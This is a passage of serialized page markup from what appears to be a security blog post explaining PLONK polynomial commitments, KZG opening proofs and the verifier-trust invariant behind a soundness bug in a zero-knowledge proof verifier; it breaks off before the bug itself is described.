",{"type":21,"tag":66,"props":144181,"children":144183},{"className":144182},[4748,4749],[144184],{"type":21,"tag":85,"props":144185,"children":144187},{"className":144186},[4754],[144188],{"type":21,"tag":85,"props":144189,"children":144191},{"className":144190,"ariaHidden":4760},[4759],[144192],{"type":21,"tag":85,"props":144193,"children":144195},{"className":144194},[4765],[144196,144200,144205,144210,144215],{"type":21,"tag":85,"props":144197,"children":144199},{"className":144198,"style":4878},[4770],[],{"type":21,"tag":85,"props":144201,"children":144203},{"className":144202,"style":22548},[4776,22016],[144204],{"type":26,"value":144073},{"type":21,"tag":85,"props":144206,"children":144208},{"className":144207},[22145],[144209],{"type":26,"value":1439},{"type":21,"tag":85,"props":144211,"children":144213},{"className":144212},[4776,22016],[144214],{"type":26,"value":19702},{"type":21,"tag":85,"props":144216,"children":144218},{"className":144217},[22167],[144219],{"type":26,"value":1900},{"type":26,"value":144221}," divides ",{"type":21,"tag":66,"props":144223,"children":144225},{"className":144224},[4748,4749],[144226],{"type":21,"tag":85,"props":144227,"children":144229},{"className":144228},[4754],[144230],{"type":21,"tag":85,"props":144231,"children":144233},{"className":144232,"ariaHidden":4760},[4759],[144234],{"type":21,"tag":85,"props":144235,"children":144237},{"className":144236},[4765],[144238,144242,144247,144252,144257],{"type":21,"tag":85,"props":144239,"children":144241},{"className":144240,"style":4878},[4770],[],{"type":21,"tag":85,"props":144243,"children":144245},{"className":144244,"style":22017},[4776,22016],[144246],{"type":26,"value":122287},{"type":21,"tag":85,"props":144248,"children":144250},{"className":144249},[22145],[144251],{"type":26,"value":1439},{"type":21,"tag":85,"props":144253,"children":144255},{"className":144254},[4776,22016],[144256],{"type":26,"value":19702},{"type":21,"tag":85,"props":144258,"children":144260},{"className":144259},[22167],[144261],{"type":26,"value":1900},{"type":26,"value":144263},", yielding a quotient polynomial ",{"type":21,"tag":66,"props":144265,"children":144267},{"className":144266},[4748,4749],[144268],{"type":21,"tag":85,"props":144269,"children":144271},{"className":144270},[4754],[144272],{"type":21,"tag":85,"props":144273,"children":144275},{"className":144274,"ariaHidden":4760},[4759],[144276],{"type":21,"tag":85,"props":144277,"children":144279},{"className":144278},[4765],[144280,144284,144289,144294,144299],{"type":21,"tag":85,"props":144281,"children":144283},{"className":144282,"style":4878},[4770],[],{"type":21,"tag":85,"props":144285,"children":144287},{"className":144286,"style":22017},[4776,22016],[144288],{"type":26,"value":308},{"type":21,"tag":85,"props":144290,"children":144292},{"className":144291},[22145],[144293],{"type":26,"value":1439},{"type":21,"tag":85,"props":144295,"children":144297},{"className":144296},[4776,22016],[144298],{"type":26,"value":19702},{"type":21,"tag":85,"props":144300,"children":144302},{"className":144301},[22167],[144303],{"type":26,"value":1900},{"type":26,"value":21932},{"type":21,"tag":66,"props":144306,"children":144308},{"className":144307},[4748,4749],[144309],{"type":21,"tag":85,"props":144310,"children":144312},{"className":144311},[4754],[144313],{"type":21,"tag":85,"props":144314,"children":144316},{"className":144315,"ariaHidden":4760},[4759],[144317,144358,144399],{"type":21,"tag":85,"props":144318,"children":144320},{"className":144319},[4765],[144321,144325,144330,144335,144340,144345,144349,144354],{"type":21,"tag":85,"props":144322,"children":144324},{"className":144323,"style":4878},[4770],[],{"type":21,"tag":85,"props":144326,"children":144328},{"className":144327,"style":22017},[4776,22016],[144329],{"type":26,"value":122287},{"type":21,"tag":85,"props":144331,"children":144333},{"className":144332},[22145],[144334],{"type":26,"value":1439},{"type":21,"tag":85,"props":144336,"children":144338},{"className":144337},[4776,22016],[144339],{"type":26,"value":19702},{"type":21,"tag":85,"props":144341,"children":144343},{"className":144342},[22167],[144344],{"type":26,"value":1900},{"type":21,"tag":85,"props":144346,"children":144348},{"className":144347,"style":4955},[4857],[],{"type":21,"tag":85,"props":144350,"children":144352},{"className":144351},[4960],[144353],{"type":26,"value":741},{"type":21,"tag":85,"props":144355,"children":144357},{"className":144356,"style":4955},[4857],[],{"type":21,"tag":85,"props":144359,"children":144361},{"className":144360},[4765],[144362,144366,144371,144376,144381,144386,144390,144395],{"type":21,"tag":85,"props":144363,"children":144365},{"className":144364,"style":4878},[4770],[],{"type":21,"tag":85,"props":144367,"children":144369},{"className":144368,"style":22017},[4776,22016],[144370],{"type":26,"value":308},{"type":21,"tag":85,"props":144372,"children":144374},{"className":144373},[22145],[144375],{"type":26,"value":1439},{"type":21,"tag":85,"props":144377,"children":144379},{"className":144378},[4776,22016],[144380],{"type":26,"value":19702},{"type":21,"tag":85,"props":144382,"children":144384},{"className":144383},[22167],[144385],{"type":26,"value":1900},{"type":21,"tag":85,"props":144387,"children":144389},{"className":144388,"style":4858},[4857],[],{"type":21,"tag":85,"props":144391,"children":144393},{"className":144392},[4863],[144394],{"type":26,"value":111771},{"type":21,"tag":85,"props":144396,"children":144398},{"className":144397,"style":4858},[4857],[],{"type":21,"tag":85,"props":144400,"children":144402},{"className":144401},[4765],[144403,144407,144412,144417,144422],{"type":21,"tag":85,"props":144404,"children":144406},{"className":144405,"style":4878},[4770],[],{"type":21,"tag":85,"props":144408,"children":144410},{"className":144409,"style":22548},[4776,22016],[144411],{"type":26,"value":144073},{"type":21,"tag":85,"props":144413,"children":144415},{"className":144414},[22145],[144416],{"type":26,"value":1439},{"type":21,"tag":85,"props":144418,"children":144420},{"className":144419},[4776,22016],[144421],{"type":26,"value":19702},{"type":21,"tag":85,"props":144423,"children":144425},{"className":144424},[22167],[144426],{"type":26,"value":1900},{"type":26,"value":73},{"type":21,"tag":22,"props":144429,"children":144430},{},[144431],{"type":21,"tag":4681,"props":144432,"children":144435},{"alt":144433,"src":144434},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":21,"tag":10022,"props":144437,"children":144439},{"id":144438},"polynomial-commitments-and-opening-proofs",[144440],{"type":26,"value":144441},"Polynomial commitments and opening proofs",{"type":21,"tag":22,"props":144443,"children":144444},{},[144445,144447,144452,144454,144459],{"type":26,"value":144446},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":21,"tag":39,"props":144448,"children":144449},{},[144450],{"type":26,"value":144451},"commitments",{"type":26,"value":144453},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":21,"tag":39,"props":144455,"children":144456},{},[144457],{"type":26,"value":144458},"opening proof",{"type":26,"value":144460}," that the claimed value is consistent with the earlier commitment.",{"type":21,"tag":22,"props":144462,"children":144463},{},[144464],{"type":26,"value":144465},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":21,"tag":10022,"props":144467,"children":144469},{"id":144468},"reducing-to-a-single-random-point",[144470],{"type":26,"value":144471},"Reducing to a single random point",{"type":21,"tag":22,"props":144473,"children":144474},{},[144475,144477,144517,144519,144544,144546,144668,144670,144695],{"type":26,"value":144476},"After the prover commits to all polynomials, including ",{"type":21,"tag":66,"props":144478,"children":144480},{"className":144479},[4748,4749],[144481],{"type":21,"tag":85,"props":144482,"children":144484},{"className":144483},[4754],[144485],{"type":21,"tag":85,"props":144486,"children":144488},{"className":144487,"ariaHidden":4760},[4759],[144489],{"type":21,"tag":85,"props":144490,"children":144492},{"className":144491},[4765],[144493,144497,144502,144507,144512],{"type":21,"tag":85,"props":144494,"children":144496},{"className":144495,"style":4878},[4770],[],{"type":21,"tag":85,"props":144498,"children":144500},{"className":144499,"style":22017},[4776,22016],[144501],{"type":26,"value":308},{"type":21,"tag":85,"props":144503,"children":144505},{"className":144504},[22145],[144506],{"type":26,"value":1439},{"type":21,"tag":85,"props":144508,"children":144510},{"className":144509},[4776,22016],[144511],{"type":26,"value":19702},{"type":21,"tag":85,"props":144513,"children":144515},{"className":144514},[22167],[144516],{"type":26,"value":1900},{"type":26,"value":144518},", the verifier picks a random challenge point ",{"type":21,"tag":66,"props":144520,"children":144522},{"className":144521},[4748,4749],[144523],{"type":21,"tag":85,"props":144524,"children":144526},{"className":144525},[4754],[144527],{"type":21,"tag":85,"props":144528,"children":144530},{"className":144529,"ariaHidden":4760},[4759],[144531],{"type":21,"tag":85,"props":144532,"children":144534},{"className":144533},[4765],[144535,144539],{"type":21,"tag":85,"props":144536,"children":144538},{"className":144537,"style":111350},[4770],[],{"type":21,"tag":85,"props":144540,"children":144542},{"className":144541,"style":114066},[4776,22016],[144543],{"type":26,"value":114069},{"type":26,"value":144545}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":21,"tag":66,"props":144547,"children":144549},{"className":144548},[4748,4749],[144550],{"type":21,"tag":85,"props":144551,"children":144553},{"className":144552},[4754],[144554],{"type":21,"tag":85,"props":144555,"children":144557},{"className":144556,"ariaHidden":4760},[4759],[144558,144599,144640],{"type":21,"tag":85,"props":144559,"children":144561},{"className":144560},[4765],[144562,144566,144571,144576,144581,144586,144590,144595],{"type":21,"tag":85,"props":144563,"children":144565},{"className":144564,"style":4878},[4770],[],{"type":21,"tag":85,"props":144567,"children":144569},{"className":144568,"style":22017},[4776,22016],[144570],{"type":26,"value":122287},{"type":21,"tag":85,"props":144572,"children":144574},{"className":144573},[22145],[144575],{"type":26,"value":1439},{"type":21,"tag":85,"props":144577,"children":144579},{"className":144578,"style":114066},[4776,22016],[144580],{"type":26,"value":114069},{"type":21,"tag":85,"props":144582,"children":144584},{"className":144583},[22167],[144585],{"type":26,"value":1900},{"type":21,"tag":85,"props":144587,"children":144589},{"className":144588,"style":4955},[4857],[],{"type":21,"tag":85,"props":144591,"children":144593},{"className":144592},[4960],[144594],{"type":26,"value":741},{"type":21,"tag":85,"props":144596,"children":144598},{"className":144597,"style":4955},[4857],[],{"type":21,"tag":85,"props":144600,"children":144602},{"className":144601},[4765],[144603,144607,144612,144617,144622,144627,144631,144636],{"type":21,"tag":85,"props":144604,"children":144606},{"className":144605,"style":4878},[4770],[],{"type":21,"tag":85,"props":144608,"children":144610},{"className":144609,"style":22017},[4776,22016],[144611],{"type":26,"value":308},{"type":21,"tag":85,"props":144613,"children":144615},{"className":144614},[22145],[144616],{"type":26,"value":1439},{"type":21,"tag":85,"props":144618,"children":144620},{"className":144619,"style":114066},[4776,22016],[144621],{"type":26,"value":114069},{"type":21,"tag":85,"props":144623,"children":144625},{"className":144624},[22167],[144626],{"type":26,"value":1900},{"type":21,"tag":85,"props":144628,"children":144630},{"className":144629,"style":4858},[4857],[],{"type":21,"tag":85,"props":144632,"children":144634},{"className":144633},[4863],[144635],{"type":26,"value":111771},{"type":21,"tag":85,"props":144637,"children":144639},{"className":144638,"style":4858},[4857],[],{"type":21,"tag":85,"props":144641,"children":144643},{"className":144642},[4765],[144644,144648,144653,144658,144663],{"type":21,"tag":85,"props":144645,"children":144647},{"className":144646,"style":4878},[4770],[],{"type":21,"tag":85,"props":144649,"children":144651},{"className":144650,"style":22548},[4776,22016],[144652],{"type":26,"value":144073},{"type":21,"tag":85,"props":144654,"children":144656},{"className":144655},[22145],[144657],{"type":26,"value":1439},{"type":21,"tag":85,"props":144659,"children":144661},{"className":144660,"style":114066},[4776,22016],[144662],{"type":26,"value":114069},{"type":21,"tag":85,"props":144664,"children":144666},{"className":144665},[22167],[144667],{"type":26,"value":1900},{"type":26,"value":144669}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":21,"tag":66,"props":144671,"children":144673},{"className":144672},[4748,4749],[144674],{"type":21,"tag":85,"props":144675,"children":144677},{"className":144676},[4754],[144678],{"type":21,"tag":85,"props":144679,"children":144681},{"className":144680,"ariaHidden":4760},[4759],[144682],{"type":21,"tag":85,"props":144683,"children":144685},{"className":144684},[4765],[144686,144690],{"type":21,"tag":85,"props":144687,"children":144689},{"className":144688,"style":111350},[4770],[],{"type":21,"tag":85,"props":144691,"children":144693},{"className":144692,"style":114066},[4776,22016],[144694],{"type":26,"value":114069},{"type":26,"value":144696}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":21,"tag":22,"props":144698,"children":144699},{},[144700,144702,144727,144729,144734],{"type":26,"value":144701},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":21,"tag":66,"props":144703,"children":144705},{"className":144704},[4748,4749],[144706],{"type":21,"tag":85,"props":144707,"children":144709},{"className":144708},[4754],[144710],{"type":21,"tag":85,"props":144711,"children":144713},{"className":144712,"ariaHidden":4760},[4759],[144714],{"type":21,"tag":85,"props":144715,"children":144717},{"className":144716},[4765],[144718,144722],{"type":21,"tag":85,"props":144719,"children":144721},{"className":144720,"style":111350},[4770],[],{"type":21,"tag":85,"props":144723,"children":144725},{"className":144724,"style":114066},[4776,22016],[144726],{"type":26,"value":114069},{"type":26,"value":144728},", the prover supplies ",{"type":21,"tag":39,"props":144730,"children":144731},{},[144732],{"type":26,"value":144733},"evaluation claims",{"type":26,"value":144735}," that must be checked against those commitments with opening proofs.",{"type":21,"tag":22,"props":144737,"children":144738},{},[144739,144741,144745],{"type":26,"value":144740},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":21,"tag":39,"props":144742,"children":144743},{},[144744],{"type":26,"value":105053},{"type":26,"value":144746}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":21,"tag":10022,"props":144748,"children":144750},{"id":144749},"what-the-verifier-is-actually-allowed-to-trust",[144751],{"type":26,"value":144752},"What the verifier is actually allowed to trust",{"type":21,"tag":22,"props":144754,"children":144755},{},[144756,144758,144763],{"type":26,"value":144757},"For this bug, one invariant matters more than the rest: ",{"type":21,"tag":873,"props":144759,"children":144760},{},[144761],{"type":26,"value":144762},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":26,"value":73},{"type":21,"tag":22,"props":144765,"children":144766},{},[144767,144769,144861,144862,144954,144956,144981,144983,145023,145024,145064,145065,145158,145159,145205,145207,145294,145295,145382,145383,145470],{"type":26,"value":144768},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":21,"tag":66,"props":144770,"children":144772},{"className":144771},[4748,4749],[144773],{"type":21,"tag":85,"props":144774,"children":144776},{"className":144775},[4754],[144777],{"type":21,"tag":85,"props":144778,"children":144780},{"className":144779,"ariaHidden":4760},[4759],[144781],{"type":21,"tag":85,"props":144782,"children":144784},{"className":144783},[4765],[144785,144789,144846,144851,144856],{"type":21,"tag":85,"props":144786,"children":144788},{"className":144787,"style":4878},[4770],[],{"type":21,"tag":85,"props":144790,"children":144792},{"className":144791},[4776],[144793,144798],{"type":21,"tag":85,"props":144794,"children":144796},{"className":144795,"style":22548},[4776,22016],[144797],{"type":26,"value":144073},{"type":21,"tag":85,"props":144799,"children":144801},{"className":144800},[4793],[144802],{"type":21,"tag":85,"props":144803,"children":144805},{"className":144804},[4798,22070],[144806,144835],{"type":21,"tag":85,"props":144807,"children":144809},{"className":144808},[4803],[144810,144830],{"type":21,"tag":85,"props":144811,"children":144813},{"className":144812,"style":143064},[4808],[144814],{"type":21,"tag":85,"props":144815,"children":144816},{"style":116758},[144817,144821],{"type":21,"tag":85,"props":144818,"children":144820},{"className":144819,"style":4818},[4817],[],{"type":21,"tag":85,"props":144822,"children":144824},{"className":144823},[4823,4824,4825,4826],[144825],{"type":21,"tag":85,"props":144826,"children":144828},{"className":144827,"style":93743},[4776,22016,4826],[144829],{"type":26,"value":93746},{"type":21,"tag":85,"props":144831,"children":144833},{"className":144832},[22173],[144834],{"type":26,"value":22176},{"type":21,"tag":85,"props":144836,"children":144838},{"className":144837},[4803],[144839],{"type":21,"tag":85,"props":144840,"children":144842},{"className":144841,"style":93592},[4808],[144843],{"type":21,"tag":85,"props":144844,"children":144845},{},[],{"type":21,"tag":85,"props":144847,"children":144849},{"className":144848},[22145],[144850],{"type":26,"value":1439},{"type":21,"tag":85,"props":144852,"children":144854},{"className":144853,"style":114066},[4776,22016],[144855],{"type":26,"value":114069},{"type":21,"tag":85,"props":144857,"children":144859},{"className":144858},[22167],[144860],{"type":26,"value":1900},{"type":26,"value":256},{"type":21,"tag":66,"props":144863,"children":144865},{"className":144864},[4748,4749],[144866],{"type":21,"tag":85,"props":144867,"children":144869},{"className":144868},[4754],[144870],{"type":21,"tag":85,"props":144871,"children":144873},{"className":144872,"ariaHidden":4760},[4759],[144874],{"type":21,"tag":85,"props":144875,"children":144877},{"className":144876},[4765],[144878,144882,144939,144944,144949],{"type":21,"tag":85,"props":144879,"children":144881},{"className":144880,"style":4878},[4770],[],{"type":21,"tag":85,"props":144883,"children":144885},{"className":144884},[4776],[144886,144891],{"type":21,"tag":85,"props":144887,"children":144889},{"className":144888},[4776,22016],[144890],{"type":26,"value":118473},{"type":21,"tag":85,"props":144892,"children":144894},{"className":144893},[4793],[144895],{"type":21,"tag":85,"props":144896,"children":144898},{"className":144897},[4798,22070],[144899,144928],{"type":21,"tag":85,"props":144900,"children":144902},{"className":144901},[4803],[144903,144923],{"type":21,"tag":85,"props":144904,"children":144906},{"className":144905,"style":93561},[4808],[144907],{"type":21,"tag":85,"props":144908,"children":144909},{"style":93565},[144910,144914],{"type":21,"tag":85,"props":144911,"children":144913},{"className":144912,"style":4818},[4817],[],{"type":21,"tag":85,"props":144915,"children":144917},{"className":144916},[4823,4824,4825,4826],[144918],{"type":21,"tag":85,"props":144919,"children":144921},{"className":144920},[4776,4826],[144922],{"type":26,"value":4779},{"type":21,"tag":85,"props":144924,"children":144926},{"className":144925},[22173],[144927],{"type":26,"value":22176},{"type":21,"tag":85,"props":144929,"children":144931},{"className":144930},[4803],[144932],{"type":21,"tag":85,"props":144933,"children":144935},{"className":144934,"style":93592},[4808],[144936],{"type":21,"tag":85,"props":144937,"children":144938},{},[],{"type":21,"tag":85,"props":144940,"children":144942},{"className":144941},[22145],[144943],{"type":26,"value":1439},{"type":21,"tag":85,"props":144945,"children":144947},{"className":144946,"style":114066},[4776,22016],[144948],{"type":26,"value":114069},{"type":21,"tag":85,"props":144950,"children":144952},{"className":144951},[22167],[144953],{"type":26,"value":1900},{"type":26,"value":144955},", the public-input polynomial at ",{"type":21,"tag":66,"props":144957,"children":144959},{"className":144958},[4748,4749],[144960],{"type":21,"tag":85,"props":144961,"children":144963},{"className":144962},[4754],[144964],{"type":21,"tag":85,"props":144965,"children":144967},{"className":144966,"ariaHidden":4760},[4759],[144968],{"type":21,"tag":85,"props":144969,"children":144971},{"className":144970},[4765],[144972,144976],{"type":21,"tag":85,"props":144973,"children":144975},{"className":144974,"style":111350},[4770],[],{"type":21,"tag":85,"props":144977,"children":144979},{"className":144978,"style":114066},[4776,22016],[144980],{"type":26,"value":114069},{"type":26,"value":144982},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":21,"tag":66,"props":144984,"children":144986},{"className":144985},[4748,4749],[144987],{"type":21,"tag":85,"props":144988,"children":144990},{"className":144989},[4754],[144991],{"type":21,"tag":85,"props":144992,"children":144994},{"className":144993,"ariaHidden":4760},[4759],[144995],{"type":21,"tag":85,"props":144996,"children":144998},{"className":144997},[4765],[144999,145003,145008,145013,145018],{"type":21,"tag":85,"props":145000,"children":145002},{"className":145001,"style":4878},[4770],[],{"type":21,"tag":85,"props":145004,"children":145006},{"className":145005},[4776,22016],[145007],{"type":26,"value":335},{"type":21,"tag":85,"props":145009,"children":145011},{"className":145010},[22145],[145012],{"type":26,"value":1439},{"type":21,"tag":85,"props":145014,"children":145016},{"className":145015,"style":114066},[4776,22016],[145017],{"type":26,"value":114069},{"type":21,"tag":85,"props":145019,"children":145021},{"className":145020},[22167],[145022],{"type":26,"value":1900},{"type":26,"value":256},{"type":21,"tag":66,"props":145025,"children":145027},{"className":145026},[4748,4749],[145028],{"type":21,"tag":85,"props":145029,"children":145031},{"className":145030},[4754],[145032],{"type":21,"tag":85,"props":145033,"children":145035},{"className":145034,"ariaHidden":4760},[4759],[145036],{"type":21,"tag":85,"props":145037,"children":145039},{"className":145038},[4765],[145040,145044,145049,145054,145059],{"type":21,"tag":85,"props":145041,"children":145043},{"className":145042,"style":4878},[4770],[],{"type":21,"tag":85,"props":145045,"children":145047},{"className":145046},[4776,22016],[145048],{"type":26,"value":3994},{"type":21,"tag":85,"props":145050,"children":145052},{"className":145051},[22145],[145053],{"type":26,"value":1439},{"type":21,"tag":85,"props":145055,"children":145057},{"className":145056,"style":114066},[4776,22016],[145058],{"type":26,"value":114069},{"type":21,"tag":85,"props":145060,"children":145062},{"className":145061},[22167],[145063],{"type":26,"value":1900},{"type":26,"value":256},{"type":21,"tag":66,"props":145066,"children":145068},{"className":145067},[4748,4749],[145069],{"type":21,"tag":85,"props":145070,"children":145072},{"className":145071},[4754],[145073],{"type":21,"tag":85,"props":145074,"children":145076},{"className":145075,"ariaHidden":4760},[4759],[145077],{"type":21,"tag":85,"props":145078,"children":145080},{"className":145079},[4765],[145081,145085,145143,145148,145153],{"type":21,"tag":85,"props":145082,"children":145084},{"className":145083,"style":4878},[4770],[],{"type":21,"tag":85,"props":145086,"children":145088},{"className":145087},[4776],[145089,145095],{"type":21,"tag":85,"props":145090,"children":145092},{"className":145091,"style":93995},[4776,22016],[145093],{"type":26,"value":145094},"σ",{"type":21,"tag":85,"props":145096,"children":145098},{"className":145097},[4793],[145099],{"type":21,"tag":85,"props":145100,"children":145102},{"className":145101},[4798,22070],[145103,145132],{"type":21,"tag":85,"props":145104,"children":145106},{"className":145105},[4803],[145107,145127],{"type":21,"tag":85,"props":145108,"children":145110},{"className":145109,"style":93561},[4808],[145111],{"type":21,"tag":85,"props":145112,"children":145113},{"style":94042},[145114,145118],{"type":21,"tag":85,"props":145115,"children":145117},{"className":145116,"style":4818},[4817],[],{"type":21,"tag":85,"props":145119,"children":145121},{"className":145120},[4823,4824,4825,4826],[145122],{"type":21,"tag":85,"props":145123,"children":145125},{"className":145124},[4776,4826],[145126],{"type":26,"value":4779},{"type":21,"tag":85,"props":145128,"children":145130},{"className":145129},[22173],[145131],{"type":26,"value":22176},{"type":21,"tag":85,"props":145133,"children":145135},{"className":145134},[4803],[145136],{"type":21,"tag":85,"props":145137,"children":145139},{"className":145138,"style":93592},[4808],[145140],{"type":21,"tag":85,"props":145141,"children":145142},{},[],{"type":21,"tag":85,"props":145144,"children":145146},{"className":145145},[22145],[145147],{"type":26,"value":1439},{"type":21,"tag":85,"props":145149,"children":145151},{"className":145150,"style":114066},[4776,22016],[145152],{"type":26,"value":114069},{"type":21,"tag":85,"props":145154,"children":145156},{"className":145155},[22167],[145157],{"type":26,"value":1900},{"type":26,"value":256},{"type":21,"tag":66,"props":145160,"children":145162},{"className":145161},[4748,4749],[145163],{"type":21,"tag":85,"props":145164,"children":145166},{"className":145165},[4754],[145167],{"type":21,"tag":85,"props":145168,"children":145170},{"className":145169,"ariaHidden":4760},[4759],[145171],{"type":21,"tag":85,"props":145172,"children":145174},{"className":145173},[4765],[145175,145179,145184,145189,145194,145200],{"type":21,"tag":85,"props":145176,"children":145178},{"className":145177,"style":4878},[4770],[],{"type":21,"tag":85,"props":145180,"children":145182},{"className":145181},[4776,22016],[145183],{"type":26,"value":335},{"type":21,"tag":85,"props":145185,"children":145187},{"className":145186},[22145],[145188],{"type":26,"value":1439},{"type":21,"tag":85,"props":145190,"children":145192},{"className":145191,"style":114066},[4776,22016],[145193],{"type":26,"value":114069},{"type":21,"tag":85,"props":145195,"children":145197},{"className":145196,"style":93995},[4776,22016],[145198],{"type":26,"value":145199},"ω",{"type":21,"tag":85,"props":145201,"children":145203},{"className":145202},[22167],[145204],{"type":26,"value":1900},{"type":26,"value":145206},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":21,"tag":66,"props":145208,"children":145210},{"className":145209},[4748,4749],[145211],{"type":21,"tag":85,"props":145212,"children":145214},{"className":145213},[4754],[145215],{"type":21,"tag":85,"props":145216,"children":145218},{"className":145217,"ariaHidden":4760},[4759],[145219],{"type":21,"tag":85,"props":145220,"children":145222},{"className":145221},[4765],[145223,145227,145232,145289],{"type":21,"tag":85,"props":145224,"children":145226},{"className":145225,"style":4878},[4770],[],{"type":21,"tag":85,"props":145228,"children":145230},{"className":145229},[22145],[145231],{"type":26,"value":3016},{"type":21,"tag":85,"props":145233,"children":145235},{"className":145234},[4776],[145236,145241],{"type":21,"tag":85,"props":145237,"children":145239},{"className":145238,"style":93995},[4776,22016],[145240],{"type":26,"value":93998},{"type":21,"tag":85,"props":145242,"children":145244},{"className":145243},[4793],[145245],{"type":21,"tag":85,"props":145246,"children":145248},{"className":145247},[4798,22070],[145249,145278],{"type":21,"tag":85,"props":145250,"children":145252},{"className":145251},[4803],[145253,145273],{"type":21,"tag":85,"props":145254,"children":145256},{"className":145255,"style":143064},[4808],[145257],{"type":21,"tag":85,"props":145258,"children":145259},{"style":94042},[145260,145264],{"type":21,"tag":85,"props":145261,"children":145263},{"className":145262,"style":4818},[4817],[],{"type":21,"tag":85,"props":145265,"children":145267},{"className":145266},[4823,4824,4825,4826],[145268],{"type":21,"tag":85,"props":145269,"children":145271},{"className":145270,"style":95517},[4776,22016,4826],[145272],{"type":26,"value":95520},{"type":21,"tag":85,"props":145274,"children":145276},{"className":145275},[22173],[145277],{"type":26,"value":22176},{"type":21,"tag":85,"props":145279,"children":145281},{"className":145280},[4803],[145282],{"type":21,"tag":85,"props":145283,"children":145285},{"className":145284,"style":93592},[4808],[145286],{"type":21,"tag":85,"props":145287,"children":145288},{},[],{"type":21,"tag":85,"props":145290,"children":145292},{"className":145291},[22167],[145293],{"type":26,"value":15830},{"type":26,"value":256},{"type":21,"tag":66,"props":145296,"children":145298},{"className":145297},[4748,4749],[145299],{"type":21,"tag":85,"props":145300,"children":145302},{"className":145301},[4754],[145303],{"type":21,"tag":85,"props":145304,"children":145306},{"className":145305,"ariaHidden":4760},[4759],[145307],{"type":21,"tag":85,"props":145308,"children":145310},{"className":145309},[4765],[145311,145315,145320,145377],{"type":21,"tag":85,"props":145312,"children":145314},{"className":145313,"style":4878},[4770],[],{"type":21,"tag":85,"props":145316,"children":145318},{"className":145317},[22145],[145319],{"type":26,"value":3016},{"type":21,"tag":85,"props":145321,"children":145323},{"className":145322},[4776],[145324,145329],{"type":21,"tag":85,"props":145325,"children":145327},{"className":145326,"style":93995},[4776,22016],[145328],{"type":26,"value":93998},{"type":21,"tag":85,"props":145330,"children":145332},{"className":145331},[4793],[145333],{"type":21,"tag":85,"props":145334,"children":145336},{"className":145335},[4798,22070],[145337,145366],{"type":21,"tag":85,"props":145338,"children":145340},{"className":145339},[4803],[145341,145361],{"type":21,"tag":85,"props":145342,"children":145344},{"className":145343,"style":143064},[4808],[145345],{"type":21,"tag":85,"props":145346,"children":145347},{"style":94042},[145348,145352],{"type":21,"tag":85,"props":145349,"children":145351},{"className":145350,"style":4818},[4817],[],{"type":21,"tag":85,"props":145353,"children":145355},{"className":145354},[4823,4824,4825,4826],[145356],{"type":21,"tag":85,"props":145357,"children":145359},{"className":145358,"style":93509},[4776,22016,4826],[145360],{"type":26,"value":115828},{"type":21,"tag":85,"props":145362,"children":145364},{"className":145363},[22173],[145365],{"type":26,"value":22176},{"type":21,"tag":85,"props":145367,"children":145369},{"className":145368},[4803],[145370],{"type":21,"tag":85,"props":145371,"children":145373},{"className":145372,"style":93592},[4808],[145374],{"type":21,"tag":85,"props":145375,"children":145376},{},[],{"type":21,"tag":85,"props":145378,"children":145380},{"className":145379},[22167],[145381],{"type":26,"value":15830},{"type":26,"value":256},{"type":21,"tag":66,"props":145384,"children":145386},{"className":145385},[4748,4749],[145387],{"type":21,"tag":85,"props":145388,"children":145390},{"className":145389},[4754],[145391],{"type":21,"tag":85,"props":145392,"children":145394},{"className":145393,"ariaHidden":4760},[4759],[145395],{"type":21,"tag":85,"props":145396,"children":145398},{"className":145397},[4765],[145399,145403,145408,145465],{"type":21,"tag":85,"props":145400,"children":145402},{"className":145401,"style":4878},[4770],[],{"type":21,"tag":85,"props":145404,"children":145406},{"className":145405},[22145],[145407],{"type":26,"value":3016},{"type":21,"tag":85,"props":145409,"children":145411},{"className":145410},[4776],[145412,145417],{"type":21,"tag":85,"props":145413,"children":145415},{"className":145414,"style":93995},[4776,22016],[145416],{"type":26,"value":145094},{"type":21,"tag":85,"props":145418,"children":145420},{"className":145419},[4793],[145421],{"type":21,"tag":85,"props":145422,"children":145424},{"className":145423},[4798,22070],[145425,145454],{"type":21,"tag":85,"props":145426,"children":145428},{"className":145427},[4803],[145429,145449],{"type":21,"tag":85,"props":145430,"children":145432},{"className":145431,"style":93561},[4808],[145433],{"type":21,"tag":85,"props":145434,"children":145435},{"style":94042},[145436,145440],{"type":21,"tag":85,"props":145437,"children":145439},{"className":145438,"style":4818},[4817],[],{"type":21,"tag":85,"props":145441,"children":145443},{"className":145442},[4823,4824,4825,4826],[145444],{"type":21,"tag":85,"props":145445,"children":145447},{"className":145446},[4776,4826],[145448],{"type":26,"value":17951},{"type":21,"tag":85,"props":145450,"children":145452},{"className":145451},[22173],[145453],{"type":26,"value":22176},{"type":21,"tag":85,"props":145455,"children":145457},{"className":145456},[4803],[145458],{"type":21,"tag":85,"props":145459,"children":145461},{"className":145460,"style":93592},[4808],[145462],{"type":21,"tag":85,"props":145463,"children":145464},{},[],{"type":21,"tag":85,"props":145466,"children":145468},{"className":145467},[22167],[145469],{"type":26,"value":15830},{"type":26,"value":145471},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":21,"tag":22,"props":145473,"children":145474},{},[145475],{"type":26,"value":145476},"Any term that falls outside those three categories is attacker-controlled by 